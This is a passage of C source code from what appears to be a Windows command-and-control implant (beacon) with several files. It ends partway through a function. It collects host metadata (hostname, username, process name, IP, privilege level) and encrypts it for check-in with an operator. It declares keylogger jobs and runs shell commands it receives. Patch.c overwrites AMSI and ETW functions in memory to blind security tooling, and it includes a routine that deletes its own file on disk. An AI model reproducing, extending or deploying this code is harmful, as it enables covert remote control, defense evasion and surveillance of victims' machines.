job_process_pid = BeaconDataInt(&pdatap); pipeName = ParsepipeName(buf, &argsize,&pipeNamelen); JobName = ParsepipeName(buf, &argsize,&JobNamelen); //if (callbackType != CALLBACK_OUTPUT_UTF8 && callbackType != CALLBACK_SCREENSHOT && callbackType != CALLBACK_HASHDUMP) if(pipeNamelen !=0 && JobNamelen !=0 ) { struct ThreadArgs* args = (struct ThreadArgs*)malloc(sizeof(struct ThreadArgs)); if (args == NULL) { // ڴʧܵ return NULL; } args->pipeName = pipeName; args->sleepTime = sleepTime; args->callbackType = callbackType; args->JobName = JobName; args->PIDD = PIDD; HANDLE myThread; myThread = CreateThread( NULL, // Ḭ̆߳ȫ 0, // Ĭ϶ջС PipeJobHandla, // ̺߳ args, // ݸ̺߳IJ 0, // Ĭϴ־ NULL); // 洢߳ID if (myThread == NULL) { fprintf(stderr, "Failed to create thread. Error code: %lu\n", GetLastError()); return 1; } } return 0; } ================================================ FILE: Beacon/Job.h ================================================ #pragma once #include "Command.h" typedef struct { HANDLE hReadPipe; STARTUPINFO si; HANDLE hWritePipe; } CreatePipeJob; CreatePipeJob createjob(); BeaconJob* Add_Beacon_0Job(HANDLE hProcess, HANDLE hThread, int dwProcessId, int dwThreadId, HANDLE hReadPipe, HANDLE hWritePipe, const char* jobname); void beacon_jobs(); void KEYLOGGEJob(int FlagsAndAttributes, char* Taskdata, int Task_size, int lasting); void BeaconFormatPrintf(formatp* format, char* fmt, ...); void beacon_JobKill(char* Taskdata, int Task_size); ================================================ FILE: Beacon/MetaData.c ================================================ #include #include #include #include #pragma comment(lib, "Ws2_32.lib") #pragma comment(lib, "IPHLPAPI.lib") #include "MetaData.h" #include "Util.h" #include "Config.h" #pragma warning(disable:4996) extern unsigned char AESRandaeskey[16]; extern unsigned char Hmackey[16]; extern int clientID; MakeMetaInfoResult MakeMetaInfo() { unsigned char aesKey[16]; unsigned char* Randaeskey = RandomAESKey(aesKey, sizeof(aesKey)); unsigned char hash[SHA256_DIGEST_LENGTH]; SHA256(Randaeskey, 16, hash); memcpy(AESRandaeskey, hash, 16); memcpy(Hmackey, hash + 16, 16); size_t RandaeskeyLength = sizeof(aesKey); // תΪ uint8_t* uint8_t* RandaeskeyByteData = (uint8_t*)Randaeskey; size_t bytesWritten; // ȡ ANSI ҳֽ unsigned char* acpBytes = GetCodePageANSI(&bytesWritten); if (acpBytes == NULL) { printf("Failed to retrieve ANSI code page.\n"); } // ANSI ҳֽ /* printf("ANSI Code Page Bytes: "); for (size_t i = 0; i < bytesWritten; ++i) { printf("%02x ", acpBytes[i]); } printf("\n");*/ // ͷŷڴ // תΪ uint8_t* uint8_t* acpByteseData = (uint8_t*)acpBytes; // ӡ uint8_t* ݣʮʽ /*printf("ANSI ҳ 111: "); for (size_t i = 0; i < bytesWritten; ++i) { printf("%02X ", acpByteseData[i]); } printf("\n");*/ size_t bytesWritten1; // ȡ OEM ҳֽ unsigned char* oemcpBytes = GetCodePageOEM(&bytesWritten1); if (oemcpBytes == NULL) { printf("Failed to retrieve OEM code page.\n"); return; } // OEM ҳֽ /* printf("OEM Code Page Bytes: "); for (size_t i = 0; i < bytesWritten1; ++i) { printf("%02x ", oemcpBytes[i]); } printf("\n");*/ // ͷŷڴ uint8_t* oemcpBytesData = (uint8_t*)oemcpBytes; // ӡ uint8_t* ݣʮʽ /* printf("acpByteseData to uint8_t: "); for (size_t i = 0; i < bytesWritten1; ++i) { printf("%02X ", acpByteseData[i]); } printf("\n");*/ uint8_t clientIDBytes[4]; clientID = GenerateEvenRandomInt(100000, 999998); if (clientID % 2 == 0) { clientID = clientID; } else { clientID = clientID + 1; } //printf("Generated Geacon ID: %d\n", clientID); PutUint32BigEndian(clientIDBytes, (uint32_t)clientID); //printf("ClientID in Big Endian: 11111111111111111111111111111111111111111\n"); //for (int i = 0; i < 4; ++i) { // printf("%02x ", clientIDBytes[i]); //} //printf("\n"); int processID = getpid(); uint8_t processIDBytes[4]; // һֽڵֽ洢 PutUint32BigEndian(processIDBytes, processID); /*printf("Process ID in Big Endian: "); for (int i = 0; i < 4; ++i) { printf("%02x ", processIDBytes[i]); } printf("\n");*/ uint16_t sshPort = 0; // SSH ˿ uint8_t sshPortBytes[2]; // һֽڵֽ洢 PutUint16BigEndian(sshPortBytes, sshPort); /* printf("SSH Port in Big Endian: "); for (int i = 0; i < 2; ++i) { printf("%02x ", sshPortBytes[i]); } printf("\n");*/ int metaDataFlag = GetMetaDataFlag(); uint8_t flagBytes[1]; // һֽڴСڴ洢 flagBytes[0] = (uint8_t)metaDataFlag; // ֵתΪֽͲ洢 //printf("Flag Byte: %02x\n", flagBytes[0]); unsigned char* osVersion = GetOSVersion(); //printf("%s\n", osVersion); int osMajorVersion = 0, osMinorVersion = 0, osBuild = 0; // ϵͳ汾Ϣ sscanf_s(osVersion, "OS Version: %d.%d.%d", &osMajorVersion, &osMinorVersion, &osBuild); //printf("Major Version: %d\n", osMajorVersion); //printf("Minor Version: %d\n", osMinorVersion); //printf("Build Number: %d\n", osBuild); uint8_t osMajorVersionByte[1]; uint8_t osMinorVersionByte[1]; osMajorVersionByte[0] = (uint8_t)osMajorVersion; osMinorVersionByte[0] = (uint8_t)osMinorVersion; /*printf("osMajorVersionByte "); for (int i = 0; i < 1; ++i) { printf("%02x ", osMajorVersionByte[i]); } printf("\n"); printf("osMinorVersionByte ");*/ /*for (int i = 0; i < 1; ++i) { printf("%02x ", osMinorVersionByte[i]); } printf("\n");*/ uint8_t osBuildBytes[2]; // һֽڵֽ洢 PutUint16BigEndian(osBuildBytes, osBuild); /* printf("osBuildBytes "); for (int i = 0; i < 2; ++i) { printf("%02x ", osBuildBytes[i]); } printf("\n");*/ // ͷŶ̬ڴ free((void*)osVersion); uint16_t ptrFuncAddr = 0; uint8_t ptrFuncAddrBytes[4]; // һֽڵֽ洢 PutUint32BigEndian(ptrFuncAddrBytes, ptrFuncAddr); /* printf("ptrFuncAddr in Big Endian: "); for (int i = 0; i < 4; ++i) { printf("%02x ", ptrFuncAddrBytes[i]); } printf("\n");*/ uint16_t ptrGMHFuncAddr = 0; uint8_t ptrGMHFuncAddrBytes[4]; // һֽڵֽ洢 PutUint32BigEndian(ptrGMHFuncAddrBytes, ptrGMHFuncAddr); /* printf("ptrGMHFuncAddrBytes in Big Endian: "); for (int i = 0; i < 4; ++i) { printf("%02x ", ptrGMHFuncAddrBytes[i]); } printf("\n");*/ uint16_t ptrGPAFuncAddr = 0; uint8_t ptrGPAFuncAddrBytes[4]; // һֽڵֽ洢 PutUint32BigEndian(ptrGPAFuncAddrBytes, ptrGPAFuncAddr); /* printf("ptrGPAFuncAddr in Big Endian: "); for (int i = 0; i < 4; ++i) { printf("%02x ", ptrGPAFuncAddrBytes[i]); } printf("\n");*/ uint32_t localIPInt = GetLocalIPInt(); uint8_t localIPIntBytes[4]; PutUint32BigEndian(localIPIntBytes, localIPInt); /*printf("localIPIntBytes: "); for (int i = 0; i < 4; ++i) { printf("%02x ", localIPIntBytes[i]); } printf("\n");*/ char* hostName = GetComputerNameAsString(); char* currentUser = GetUsername(); char* processName = GetProcessName(); size_t totalLength = strlen(hostName) + strlen(currentUser) + strlen(processName); char* osInfo = (char*)malloc(totalLength + 11); // СɸϢ //printf("11111111%d", totalLength); //printf("\n"); snprintf(osInfo, totalLength + 11, "%s\t%s\t%s", hostName, currentUser, processName); ; if (strlen(osInfo) > 56) { osInfo[56] = '\0'; } //printf("\n"); /* printf("%s\n", osInfo);*/ size_t osInfoLength = strlen(osInfo); // תΪ uint8_t* uint8_t* osInfoByteData = (uint8_t*)osInfo; // ӡ uint8_t* ݣʮʽ //printf("osInfoByteData to uint8_t: "); //for (size_t i = 0; i < osInfoLength; ++i) { // printf("%02X ", osInfoByteData[i]); //} //printf("\n"); uint8_t MagicHead[4]; uint8_t* magicHead = GetMagicHead(MagicHead); //printf("magicHead "); //if (magicHead != NULL) { // for (int i = 0; i < 4; ++i) { // printf("%02x ", magicHead[i]); // } //} //printf("\n"); // 洢ǵĴС uint8_t* onlineInfoBytes[] = { clientIDBytes, processIDBytes, sshPortBytes,flagBytes,osMajorVersionByte, osMinorVersionByte,osBuildBytes,ptrFuncAddrBytes,ptrGMHFuncAddrBytes,ptrGPAFuncAddrBytes,localIPIntBytes,osInfoByteData }; size_t sizes[] = { sizeof(clientIDBytes), sizeof(processIDBytes), sizeof(sshPortBytes), sizeof(flagBytes), sizeof(osMajorVersionByte), sizeof(osMinorVersionByte), sizeof(osBuildBytes), sizeof(ptrFuncAddrBytes), sizeof(ptrGMHFuncAddrBytes), sizeof(ptrGPAFuncAddrBytes), sizeof(localIPIntBytes),osInfoLength }; size_t onlineInfoBytesArrays = sizeof(onlineInfoBytes) / sizeof(onlineInfoBytes[0]); // Ӷֽ uint8_t* onlineInfconcatenated = ConByte(onlineInfoBytes, sizes, onlineInfoBytesArrays); size_t totalSize = 0; // sizeof ֵܺ for (size_t i = 0; i < sizeof(sizes) / sizeof(sizes[0]); ++i) { totalSize += sizes[i]; } //if (onlineInfconcatenated != NULL) { // printf("Concatenated Byte Stream: "); // for (size_t i = 0; i < totalSize; ++i) { // printf("%02X ", onlineInfconcatenated[i]); // } // printf("\n"); // // ͷŶ̬ڴ //} //else { // printf("Memory allocation failed.\n"); //} uint8_t* metaInfoBytes[] = { RandaeskeyByteData, acpByteseData ,oemcpBytesData ,onlineInfconcatenated }; size_t metaInfosizes[] = { RandaeskeyLength ,bytesWritten ,bytesWritten1,totalSize }; size_t metaInfoBytesArrays = sizeof(metaInfoBytes) / sizeof(metaInfoBytes[0]); uint8_t* metaInfoconcatenated = ConByte(metaInfoBytes, metaInfosizes, metaInfoBytesArrays); size_t metaInfoSize = 0; // sizeof ֵܺ for (size_t i = 0; i < sizeof(metaInfosizes) / sizeof(metaInfosizes[0]); ++i) { metaInfoSize += metaInfosizes[i]; } //if (metaInfoconcatenated != NULL) { // printf("metaInfoconcatenated Byte Stream: "); // for (size_t i = 0; i < metaInfoSize; ++i) { // printf("%02X ", metaInfoconcatenated[i]); // } // printf("\n"); // // ͷŶ̬ڴ //} //else { // printf("Memory allocation failed.\n"); //} //printf("\n"); uint8_t bBytes[4]; uint8_t* metalen = WriteInt(metaInfoSize, bBytes); //printf("metalen:"); //for (int i = 0; i < 4; ++i) { // printf("%02x ", metalen[i]); //} //printf("\n"); uint8_t* packetToEncryptBytes[] = { magicHead, metalen , metaInfoconcatenated }; size_t packetToEncryptsizes[] = { 4 ,4 ,metaInfoSize }; size_t packetToEncryptsArrays = sizeof(packetToEncryptBytes) / sizeof(packetToEncryptBytes[0]); uint8_t* packetToEncryptconcatenated = ConByte(packetToEncryptBytes, packetToEncryptsizes, packetToEncryptsArrays); size_t packetToEncryptSize = 0; // sizeof ֵܺ for (size_t i = 0; i < sizeof(packetToEncryptsizes) / sizeof(packetToEncryptsizes[0]); ++i) { packetToEncryptSize += packetToEncryptsizes[i]; } if (packetToEncryptconcatenated != NULL) { // ͷŶ̬ڴ } else { printf("Memory allocation failed.\n"); } printf("\n"); MakeMetaInfoResult MakeMetaInfoResult; MakeMetaInfoResult.MakeMeta = packetToEncryptconcatenated; MakeMetaInfoResult.MakeMetaLen = packetToEncryptSize; return MakeMetaInfoResult; } EncryMetadataResult EncryMetadata() { //unsigned char* pub_key_str = "-----BEGIN PUBLIC KEY-----\n" // "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCba6EFByEFa92FMviJ9WVjsdhCD2P9RbA5Duse\n" // "kXD8KNBVn0R8ZqvUcFMNUJAmvhS3D3NoQw7cybTmtpZ9QH+UjXFRNjIIJhXEKC7pOqbzybKX8p28\n" // "oOC2UIE2NeBq1a5n/PVmlaMPoUrruWxVQxeyUdB9wpG/+lk+EO6fTa5QaQIDAQAB\n" // "-----END PUBLIC KEY-----\n"; // ԿַȡΪBIO BIO* bio = BIO_new_mem_buf((void*)pub_key_str, -1); if (bio == NULL) { fprintf(stderr, "Error creating BIO object\n"); } // BIOжȡԿPEMʽ EVP_PKEY* evp_key = PEM_read_bio_PUBKEY(bio, NULL, NULL, NULL); if (evp_key == NULL) { fprintf(stderr, "Error loading EVP public key\n"); BIO_free(bio); } // ȡԿȺֽ int pub_key_len = i2d_PUBKEY(evp_key, NULL); if (pub_key_len <= 0) { fprintf(stderr, "Error getting public key length\n"); EVP_PKEY_free(evp_key); exit; } unsigned char* pub_key_bytes = (unsigned char*)malloc(pub_key_len); if (pub_key_bytes == NULL) { fprintf(stderr, "Memory allocation failed\n"); EVP_PKEY_free(evp_key); exit; } unsigned char* temp_pub_key_bytes = pub_key_bytes; pub_key_len = i2d_PUBKEY(evp_key, &temp_pub_key_bytes); if (pub_key_len <= 0) { fprintf(stderr, "Error getting public key data\n"); free(pub_key_bytes); EVP_PKEY_free(evp_key); exit; } // ԿΪRSAԿ RSA* rsa_pub_key = EVP_PKEY_get1_RSA(evp_key); if (rsa_pub_key == NULL) { fprintf(stderr, "Error extracting RSA public key\n"); free(pub_key_bytes); EVP_PKEY_free(evp_key); exit; } // ܵԭʼ MakeMetaInfoResult MakeMetaInfoResult = MakeMetaInfo(); uint8_t* EntryMeta = MakeMetaInfoResult.MakeMeta; size_t orig_data_len = MakeMetaInfoResult.MakeMetaLen; // ڴ洢ܺ unsigned char* encrypted_data = (unsigned char*)malloc(RSA_size(rsa_pub_key)); if (encrypted_data == NULL) { fprintf(stderr, "Memory allocation failed\n"); RSA_free(rsa_pub_key); free(pub_key_bytes); exit; } // ʹùԿ PKCS#1 v1.5 ļܲ int encrypted_len = RSA_public_encrypt(orig_data_len, EntryMeta, encrypted_data, rsa_pub_key, RSA_PKCS1_PADDING); if (encrypted_len == -1) { fprintf(stderr, "Encryption failed\n"); free(encrypted_data); RSA_free(rsa_pub_key); exit; } // ܺ /* printf("EncryMetadata Encrypted data (hex)11111111111: "); for (int i = 0; i < encrypted_len; ++i) { printf("0x%02X, ", encrypted_data[i]); } printf("%d", encrypted_len); printf("\n");*/ EncryMetadataResult EncryMetadataResult; EncryMetadataResult.EncryMetadata = encrypted_data; EncryMetadataResult.EncryMetadataLen = encrypted_len; return EncryMetadataResult; // ͷڴԴ free(encrypted_data); RSA_free(rsa_pub_key); free(pub_key_bytes); BIO_free(bio); EVP_PKEY_free(evp_key); } // ģ IsHighPriv // ȡϵͳϢжǷΪ64λ bool IsOSX64() { SYSTEM_INFO systemInfo; GetNativeSystemInfo(&systemInfo); if (systemInfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64 || systemInfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_ARM64) { return true; // 64λ } else { return false; // 64λ } } typedef NTSTATUS(WINAPI* PFN_RTLGETVERSION)(PRTL_OSVERSIONINFOW); unsigned char* GetOSVersion() { wchar_t ntdll_str[] = L"ntdll.dll"; HINSTANCE hModule = LoadLibrary(ntdll_str); if (hModule == NULL) { printf("Failed to load ntdll.dll\n"); return NULL; } // ȡ RtlGetVersion ַ typedef NTSTATUS(WINAPI* PFN_RTLGETVERSION)(LPOSVERSIONINFOEXW); PFN_RTLGETVERSION pfnRtlGetVersion = (PFN_RTLGETVERSION)GetProcAddress(hModule, "RtlGetVersion"); if (pfnRtlGetVersion == NULL) { printf("Failed to get address of RtlGetVersion\n"); FreeLibrary(hModule); return NULL; } OSVERSIONINFOEXW osvi; ZeroMemory(&osvi, sizeof(OSVERSIONINFOEXW)); osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEXW); // RtlGetVersion ȡϵͳ汾Ϣ NTSTATUS status = pfnRtlGetVersion(&osvi); if (status != 0) { printf("RtlGetVersion failed: %lu\n", status); FreeLibrary(hModule); return NULL; } // ͷ ntdll.dll FreeLibrary(hModule); // ڴԴ洢 OS 汾Ϣַ char* osVersion = (char*)malloc(50); // Allocate enough memory for the version string if (osVersion != NULL) { // OS 汾ϢʽΪַ sprintf_s(osVersion, 50, "OS Version: %lu.%lu.%lu", osvi.dwMajorVersion, osvi.dwMinorVersion, osvi.dwBuildNumber); return osVersion; } else { printf("Memory allocation failed\n"); return NULL; } } int GetMetaDataFlag() { int flagInt = 0; if (IsHighPriv()) { flagInt += 8; } bool isOSX64 = IsOSX64(); if (isOSX64) { flagInt += 4; } bool isProcessX64 = IsProcessX64(); if (isProcessX64) { flagInt += 2; } return flagInt; } // ģ IsProcessX64 bool IsProcessX64() { #if defined(_WIN64) return true; // Ϊ64λӦ #else return false; // Ϊ32λӦ #endif } uint32_t GetLocalIPInt() { PIP_ADAPTER_INFO pAdapterInfo; PIP_ADAPTER_INFO pAdapter = NULL; ULONG outBufLen = 0; DWORD ret = 0; uint32_t ip = 0; uint32_t ip16 = 0; outBufLen = sizeof(IP_ADAPTER_INFO); pAdapterInfo = (IP_ADAPTER_INFO*)malloc(outBufLen); if (pAdapterInfo == NULL) { return 0; } ret = GetAdaptersInfo(pAdapterInfo, &outBufLen); if (ret == ERROR_BUFFER_OVERFLOW) { free(pAdapterInfo); pAdapterInfo = (IP_ADAPTER_INFO*)malloc(outBufLen); if (pAdapterInfo == NULL) { return 0; } ret = GetAdaptersInfo(pAdapterInfo, &outBufLen); } if (ret != ERROR_SUCCESS) { free(pAdapterInfo); return 0; } pAdapter = pAdapterInfo; while (pAdapter) { IP_ADDR_STRING* pAddress = &(pAdapter->IpAddressList); while (pAddress) { char* ipAddress = pAddress->IpAddress.String; if (strncmp(ipAddress, "169.254.", 8) != 0) { struct in_addr addr; if (inet_pton(AF_INET, ipAddress, &addr) == 1) { ip = ntohl(addr.s_addr); ip16 = ntohl(addr.s_addr) >> 16; break; } } pAddress = pAddress->Next; } if (ip != 0 || ip16 != 0) { break; } pAdapter = pAdapter->Next; } free(pAdapterInfo); return (ip != 0) ? ip : ip16; } char* GetComputerNameAsString() { wchar_t computerName[MAX_COMPUTERNAME_LENGTH + 1]; DWORD size = MAX_COMPUTERNAME_LENGTH + 1; if (!GetComputerNameW(computerName, &size)) { return "unknown"; // ȡʧܣһĬϵַ } // ַתΪַֽ int mbLen = WideCharToMultiByte(CP_UTF8, 0, computerName, -1, NULL, 0, NULL, NULL); char* mbComputerName = (char*)malloc(mbLen * sizeof(char)); if (mbComputerName == NULL) { return "unknown"; // ڴʧܣĬַ } WideCharToMultiByte(CP_UTF8, 0, computerName, -1, mbComputerName, mbLen, NULL, NULL); return mbComputerName; } char* GetUsername() { char* username; DWORD size = UNLEN + 1; username = (char*)malloc(size * sizeof(char)); if (!GetUserNameA(username, &size)) { free(username); return "unknown"; } return username; } char* GetProcessName() { char* processName; DWORD size = MAX_PATH; processName = (char*)malloc(size * sizeof(char)); if (!GetModuleFileNameA(NULL, processName, size)) { free(processName); return "unknown"; } char* result = strrchr(processName, '\\'); if (result != NULL) { return result + 1; } char* backslashPos = strrchr(processName, '/'); if (backslashPos != NULL) { return backslashPos + 1; } return processName; } unsigned char* GetCodePageANSI(size_t* bytesWritten) { UINT acp = GetACP(); unsigned char* acpBytes = (unsigned char*)malloc(2 * sizeof(unsigned char)); if (acpBytes == NULL) { *bytesWritten = 0; return NULL; } // acp תΪֽУ洢 acpBytes acpBytes[0] = (unsigned char)(acp & 0xFF); acpBytes[1] = (unsigned char)((acp >> 8) & 0xFF); // ÷صֽ *bytesWritten = 2; return acpBytes; } unsigned char* GetCodePageOEM(size_t* bytesWritten) { uint32_t oemcp = GetOEMCP(); // 洢 OEM ҳ unsigned char* oemcpBytes = (unsigned char*)malloc(2 * sizeof(unsigned char)); if (oemcpBytes == NULL) { *bytesWritten = 0; return NULL; } // oemcp תΪֽУ洢 oemcpBytes oemcpBytes[0] = (unsigned char)(oemcp & 0xFF); oemcpBytes[1] = (unsigned char)((oemcp >> 8) & 0xFF); // ÷صֽ *bytesWritten = 2; return oemcpBytes; } uint8_t* GetMagicHead(uint8_t* MagicHead) { uint16_t MagicNum = 0xBEEF; PutUint32BigEndian(MagicHead, MagicNum); return MagicHead; } ================================================ FILE: Beacon/MetaData.h ================================================ #pragma once #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #pragma warning(disable:4996) typedef struct { uint8_t* MakeMeta; size_t MakeMetaLen; } MakeMetaInfoResult; typedef struct { unsigned char* EncryMetadata; int EncryMetadataLen; } EncryMetadataResult; MakeMetaInfoResult MakeMetaInfo(); EncryMetadataResult EncryMetadata(); bool IsHighPriv(); bool IsOSX64(); bool IsProcessX64(); int GetMetaDataFlag(); unsigned char* GetOSVersion(); uint32_t GetLocalIPInt(); char* GetComputerNameAsString(); char* GetUsername(); char* GetProcessName(); unsigned char* GetCodePageANSI(size_t* bytesWritten); unsigned char* GetCodePageOEM(size_t* bytesWritten); uint8_t* GetMagicHead(uint8_t* MagicHead); ================================================ FILE: Beacon/Patch.c ================================================ #include #include #pragma comment(lib, "ntdll") #include #include #include "Util.h" #ifndef NT_SUCCESS #define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) #endif char ams1[] = { 'a','m','s','i','.','d','l','l',0 }; char ams10pen[] = { 'A','m','s','i','O','p','e','n','S','e','s','s','i','o','n',0 }; EXTERN_C NTSTATUS NtProtectVirtualMemory( IN HANDLE ProcessHandle, IN OUT PVOID* BaseAddress, IN OUT PSIZE_T RegionSize, IN ULONG NewProtect, OUT PULONG OldProtect); EXTERN_C NTSTATUS NtWriteVirtualMemory( IN HANDLE ProcessHandle, IN PVOID BaseAddress, IN PVOID Buffer, IN SIZE_T NumberOfBytesToWrite, OUT PSIZE_T NumberOfBytesWritten OPTIONAL); DWORD64 GetAddr(LPVOID addr) { for (int i = 0; i < 1024; i++) { if (*((PBYTE)addr + i) == 0x74) return (DWORD64)addr + i; } } void patchitETW(HANDLE hproc) { unsigned char etwPatch[] = { 0xC3 }; ULONG OldProtection, NewProtection; SIZE_T uSize = sizeof(etwPatch); NTSTATUS status; HMODULE hNtdllDll = LoadLibrary(L"ntdll.dll"); if (NULL == hNtdllDll) { char result[21] = "Load ntdll.dll error"; unsigned char* res = (unsigned char*)malloc(sizeof(result)); memcpy(res, result, sizeof(result)); DataProcess(res, sizeof(res), 0); return; } char EtwW[] = { 'E','t','w','E','v','e','n','t','W','r','i','t','e',0 }; char ntt[] = { 'n','t','d','l','l','.','d','l','l',0 }; void* pETWaddress = (void*)GetProcAddress(GetModuleHandleA(ntt), EtwW); void* lpBaseAddress = pETWaddress; status = NtProtectVirtualMemory(hproc, (PVOID)&lpBaseAddress, (PULONG)&uSize, PAGE_READWRITE, &OldProtection); if (!NT_SUCCESS(status)) { char result[63] = "Failed to modify EtwEventWrite memory permission to READWRITE."; unsigned char* res = (unsigned char*)malloc(sizeof(result)); memcpy(res, result, sizeof(result)); DataProcess(res, sizeof(res), 0); return; } status = NtWriteVirtualMemory(hproc, pETWaddress, (PVOID)etwPatch, sizeof(etwPatch), NULL); if (!NT_SUCCESS(status)) { char result[39] = "Failed to copy patch to EtwEventWrite."; unsigned char* res = (unsigned char*)malloc(sizeof(result)); memcpy(res, result, sizeof(result)); DataProcess(res, sizeof(res), 0); return; } status = NtProtectVirtualMemory(hproc, (PVOID)&lpBaseAddress, (PULONG)&uSize, OldProtection, &NewProtection); if (!NT_SUCCESS(status)) { char result[68] = "Failed to modify EtwEventWrite memory permission to original state."; unsigned char* res = (unsigned char*)malloc(sizeof(result)); memcpy(res, result, sizeof(result)); DataProcess(res, sizeof(res), 0); return; } char result[19] = "[+] ETW patched !!"; unsigned char* res = (unsigned char*)malloc(sizeof(result)); memcpy(res, result, sizeof(result)); DataProcess(res, sizeof(res), 0); } void AMS1patch1(HANDLE hproc) { void* ptr = GetProcAddress(LoadLibraryA(ams1), ams10pen); char Patch[100]; ZeroMemory(Patch, 100); lstrcatA(Patch, "\x75"); //printf("\n[+] The Patch : %p\n\n", *(INT_PTR*)Patch); DWORD OldProtect = 0; SIZE_T memPage = 0x1000; //void* ptraddr = (void*)(((INT_PTR)ptr + 0xa)); void* ptraddr = (void*)((DWORD64)ptr + 0x3); void* ptraddr2 = (void*)GetAddr(ptr); NTSTATUS NtProtectStatus1 = NtProtectVirtualMemory(hproc, &ptraddr2, (PSIZE_T)&memPage, 0x04, &OldProtect); if (!NT_SUCCESS(NtProtectStatus1)) { char result[43] = "[!] Failed in NtProtectVirtualMemory1 "; unsigned char* res = (unsigned char*)malloc(sizeof(result)); memcpy(res, result, sizeof(result)); DataProcess(res, sizeof(res), 0); return; } NTSTATUS NtWriteStatus = NtWriteVirtualMemory(hproc, (void*)GetAddr(ptr), (PVOID)Patch, 1, (SIZE_T*)NULL); if (!NT_SUCCESS(NtWriteStatus)) { char result[41] = "[!] Failed in NtWriteVirtualMemory "; unsigned char* res = (unsigned char*)malloc(sizeof(result)); memcpy(res, result, sizeof(result)); DataProcess(res, sizeof(res), 0); return; } NTSTATUS NtProtectStatus2 = NtProtectVirtualMemory(hproc, &ptraddr2, (PSIZE_T)&memPage, OldProtect, &OldProtect); if (!NT_SUCCESS(NtProtectStatus2)) { char result[39] = "[!] Failed in NtProtectVirtualMemory2 "; unsigned char* res = (unsigned char*)malloc(sizeof(result)); memcpy(res, result, sizeof(result)); DataProcess(res, sizeof(res), 0); return; } char result[20] = "[+] AMSI patched !!"; unsigned char* res = (unsigned char*)malloc(sizeof(result)); memcpy(res, result, sizeof(result)); DataProcess(res, sizeof(res), 0); } BOOL Self_Delete() { const wchar_t* NewStream = L":endfile"; WCHAR szPath[MAX_PATH * 2] = { 0 }; // ȡǰִļ· if (GetModuleFileNameW(NULL, szPath, MAX_PATH * 2) == 0) { //wcerr << L"[!] GetModuleFileNameW fail , code is " << GetLastError() << //endl; return FALSE; } // ļ HANDLE hFile = CreateFileW(szPath, DELETE | SYNCHRONIZE, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL); if (hFile == INVALID_HANDLE_VALUE) { //wcerr << L"[!] CreateFileW fail , code is " << GetLastError() << //endl; return FALSE; } // ׼Ϣ SIZE_T sRename = sizeof(FILE_RENAME_INFO) + sizeof(wchar_t) * wcslen(NewStream); PFILE_RENAME_INFO pRename = (PFILE_RENAME_INFO)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sRename); if (!pRename) { CloseHandle(hFile); //wcerr << L"[!] HeapAlloc fail , code is " << GetLastError() << //endl; return FALSE; } pRename->FileNameLength = wcslen(NewStream) * sizeof(wchar_t); RtlCopyMemory(pRename->FileName, NewStream, pRename->FileNameLength); //wcout << L"[i] Renaming :$DATA to file data as " << NewStream << //endl; //SetFileInformationByHandleļ if (!SetFileInformationByHandle(hFile, FileRenameInfo, pRename, sRename)) { //wcerr << L"[!] SetFileInformationByHandle fail, code is" << GetLastError() << //endl; CloseHandle(hFile); HeapFree(GetProcessHeap(), 0, pRename); return FALSE; } //wcout << L"[+] Completed" << //endl; CloseHandle(hFile); // ļɾ hFile = CreateFileW(szPath, DELETE | SYNCHRONIZE, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL); if (hFile == INVALID_HANDLE_VALUE && GetLastError() == 0) { //wcout << "free memory" << //endl; HeapFree(GetProcessHeap(), 0, pRename); return TRUE; } FILE_DISPOSITION_INFO Delete = { 0 }; Delete.DeleteFile = TRUE; //wcout << L"[+] Deleting ....." << //endl; if (!SetFileInformationByHandle(hFile, FileDispositionInfo, &Delete, sizeof(Delete))) { //wcerr << L"[!] SetFileInformationByHandle fail, code is " << GetLastError() << //endl; CloseHandle(hFile); HeapFree(GetProcessHeap(), 0, pRename); return FALSE; } CloseHandle(hFile); HeapFree(GetProcessHeap(), 0, pRename); //wprintf(L"[+] Done\n"); return TRUE; } //int patch(DWORD currentProcessId) { int Duan(DWORD process) { HANDLE hProc; //printf("Parent Process ID: %lu\n", process); hProc = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, process); if (!hProc) { char result[22] = "Failed in OpenProcess"; unsigned char* res = (unsigned char*)malloc(sizeof(result)); memcpy(res, result, sizeof(result)); DataProcess(res, sizeof(res), 0); return 2; } AMS1patch1(hProc); patchitETW(hProc); Self_Delete(); return 0; } ================================================ FILE: Beacon/Shell.c ================================================ #include #include #include #include #include "Command.h" #include "Job.h" #pragma warning(disable:4996) #ifdef UNICODE #include #include #define TCHAR wchar_t #define TEXT(str) L##str #else #define TCHAR char #define TEXT(str) str #endif extern BeaconJob; // Function to convert unsigned char* to _TCHAR* TCHAR* ConvertTo_TCHAR(const unsigned char* input) { #ifdef UNICODE // If you are using Unicode int length = MultiByteToWideChar(CP_UTF8, 0, (const char*)input, -1, NULL, 0); TCHAR* result = (TCHAR*)malloc(length * sizeof(TCHAR)); MultiByteToWideChar(CP_UTF8, 0, (const char*)input, -1, result, length); return result; #else // If you are using ANSI int length = strlen((const char*)input); TCHAR* result = (TCHAR*)malloc((length + 1) * sizeof(TCHAR)); // +1 for the null terminator strcpy(result, (const char*)input); return result; #endif } typedef struct { unsigned char* shellPath; unsigned char* shellBuf; } ParseCommandShellparse; struct ThreadArgs { unsigned char* buf; size_t* commandBuflen; size_t* Bufflen; }; ParseCommandShellparse ParseCommandShell(unsigned char* buf) { uint8_t pathLenBytes[4]; memcpy(pathLenBytes, buf, 4); uint32_t pathLen = bigEndianUint32(pathLenBytes); unsigned char* path = (unsigned char*)malloc(pathLen); path[pathLen] = '\0'; unsigned char* pathstart = buf + 4; memcpy(path, pathstart, pathLen); uint8_t cmdLenBytes[4]; unsigned char* cmdLenBytesstart = buf + 4+ pathLen; memcpy(cmdLenBytes, cmdLenBytesstart, 4); uint32_t cmdLen = bigEndianUint32(cmdLenBytes); unsigned char* cmd = (unsigned char*)malloc(cmdLen); cmd[cmdLen] = '\0'; unsigned char* cmdstart = buf + 8 + pathLen; memcpy(cmd, cmdstart, cmdLen); unsigned char* envKey = str_replace_all(path, 